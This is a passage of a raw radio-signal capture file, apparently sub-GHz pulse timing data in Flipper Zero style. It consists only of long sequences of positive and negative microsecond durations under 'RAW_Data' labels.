-1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 3401 -1398 1795 -1402 1801 -3006 3197 -3194 3393 -1402 1801 -1400 1801 -7732 2037 -2694 3601 -2994 3401 -2994 3403 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -3002 3399 -3004 3399 -2998 3399 -2996 3395 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1396 3399 -3002 3393 -1402 1799 -3002 3395 -1396 1797 -3006 3397 -3002 3395 -1400 1801 -3002 3393 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -1396 1797 -1400 1801 -3002 3393 -1402 1795 -3004 1803 -1398 1791 -1398 3403 -4578 1767 -2596 3785 -2526 3699 -2874 3441 -3022 3419 -3010 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3407 -1404 1595 -3192 3401 -1396 1793 -2998 3403 -3002 3393 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1396 1797 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1398 3401 -7634 8423 -2600 3601 -3002 3403 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1396 1793 -2998 3403 -1400 1801 -3002 3407 -2996 3395 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 3401 -1402 1795 -1398 1801 -3002 3401 -1398 1795 -3004 3401 -2994 3601 -5084 8583 -2458 3835 -2822 3413 -3010 3403 -3002 3401 -3002 3395 -3002 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -3002 -RAW_Data: 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3407 -1404 1595 -1594 1791 -3000 3405 -1404 1597 -3190 3407 -1404 1597 -7988 1673 -3042 3323 -3148 3363 -2976 3185 -3194 3399 -2998 3393 -3002 3401 -2994 3395 -3006 3397 -2994 3403 -2994 3407 -3004 3393 -2996 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 3403 -3002 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1398 1791 -3000 3401 -1400 1801 -1400 1801 -3002 1795 -1396 3597 -4754 1619 -2850 3567 -2982 3389 -2990 3395 -3002 3393 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3407 -2996 3395 -2998 3397 -2994 3403 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -1400 1801 -2994 3401 -1402 1795 -2992 1799 -1402 3401 -3002 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 -RAW_Data: 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -1402 1795 -1398 1801 -3002 3401 -7874 2005 -2696 3647 -2838 3423 -3002 3401 -3002 3401 -3004 3401 -3006 3397 -3002 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3407 -2998 3397 -1400 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1398 3401 -3006 3393 -1398 1791 -3000 3401 -1402 1799 -2994 3403 -1400 1795 -2992 1801 -1400 3401 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 3401 -1396 1797 -1402 1799 -2994 3403 -1400 1795 -1396 1795 -1402 1799 -3004 3801 -4428 14941 -2434 3819 -2810 3415 -3004 3403 -3002 3405 -2998 3393 -3000 3397 -3002 3393 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -3004 1803 -1398 1791 -1398 1801 -1400 3407 -2998 3393 -1402 1799 -3002 3395 -1400 1801 -2994 3401 -1398 1797 -3002 3401 -2998 1805 -1396 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 3395 -1400 1801 -1400 1801 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -7354 2019 -2886 3413 -3002 3401 -3002 3403 -3002 3401 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3407 -2996 3395 -2994 3393 -3002 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -3004 -RAW_Data: 3205 -1600 1591 -3188 3403 -1400 1801 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -2994 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3401 -1402 1801 -1396 1791 -1398 1801 -3006 1805 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -1476 3223 -2870 3519 -2934 3559 -2974 3187 -3190 3389 -2994 3395 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3407 -3004 3395 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1396 1797 -1400 3403 -3002 3401 -1398 1791 -3000 3401 -1400 1801 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -7212 2943 -1710 3963 -2582 3587 -2990 3389 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3401 -3002 3399 -3006 3393 -2994 3401 -2996 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1396 1797 -1402 3401 -3002 3393 -1402 1801 -2994 3401 -1402 1795 -2990 3403 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1400 1801 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 3401 -3002 3795 -412 421 -3620 8315 -2598 3797 -2810 3401 -3002 3403 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3002 3395 -3002 3407 -2996 3395 -3002 3393 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1799 -1402 1801 -1400 3395 -1400 1801 -7154 1989 -2800 3335 -3110 3489 -3052 3239 -3024 3411 -3006 3393 -3002 3401 -3002 3395 -3006 3397 -2994 3407 -3002 3197 -3194 3395 -3002 3393 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1396 1797 -3006 1605 -1596 3391 -3002 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 3401 -1402 1795 -1394 1795 -1402 1801 -3002 1799 -1402 3401 -2994 1801 -1402 3393 -4578 1987 -2610 3585 -2746 3685 -2908 3493 -2922 3337 -3160 3375 -2982 3389 -2990 3395 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -3002 3395 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3004 3405 -1396 1793 -2998 3403 -1400 1801 -1396 -RAW_Data: 1793 -2998 3401 -3004 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 3401 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 3401 -2994 3401 -7890 1857 -2976 3401 -3002 3401 -3002 3403 -2994 3401 -3006 3397 -2996 3405 -3002 3197 -3194 3395 -3002 3205 -3198 3395 -2994 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1795 -1394 3403 -3006 3393 -1402 1799 -2998 3207 -1596 1791 -2996 3405 -1402 1795 -1398 1801 -3006 3397 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 3401 -1400 1801 -3006 3397 -4660 9619 -1422 3829 -2818 3415 -3014 3405 -3002 3401 -3002 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -3002 3393 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -3002 3403 -1396 1793 -2998 3401 -1402 1801 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -3006 1803 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -4378 191 -1688 551 -1116 1659 -3106 3309 -3094 3259 -3038 3421 -3012 3405 -3006 3401 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1795 -1394 1795 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1801 -3002 3401 -2994 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -3002 3393 -3002 1797 -1394 1795 -1402 3401 -4704 2681 -1944 3813 -2610 3603 -3002 3401 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -2998 3399 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -3000 1801 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -1402 1799 -2996 3401 -1400 1797 -2990 3407 -1404 1801 -1396 1793 -1398 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 3397 -1400 1801 -1402 1795 -1394 1797 -3002 3401 -3002 1801 -1400 3395 -8456 8271 -2610 3601 -3002 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3006 3399 -2994 3401 -2994 3403 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -3002 1805 -1396 1797 -1402 1799 -1402 3401 -2998 3205 -1598 1791 -2992 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 -RAW_Data: 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -3002 3393 -3002 3395 -3002 3601 -3880 2553 -2922 3559 -2976 3381 -2988 3389 -2994 3401 -3004 3393 -2994 3401 -3002 3203 -3198 3397 -2994 3403 -2994 3401 -3002 3407 -2996 3395 -1396 1797 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -1402 1799 -3006 1601 -1594 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 3389 -1400 1801 -1402 1799 -1402 1799 -3004 3393 -3002 3393 -1402 1801 -4436 421 -3014 1755 -3064 3393 -2996 3401 -2998 3205 -3194 3403 -2998 3397 -2994 3403 -3002 3393 -2994 3401 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -1402 1799 -1402 1799 -1402 1801 -2994 3401 -1398 1795 -3006 1605 -1598 4387 -1926 735 -564 1715 -3138 3393 -2994 3403 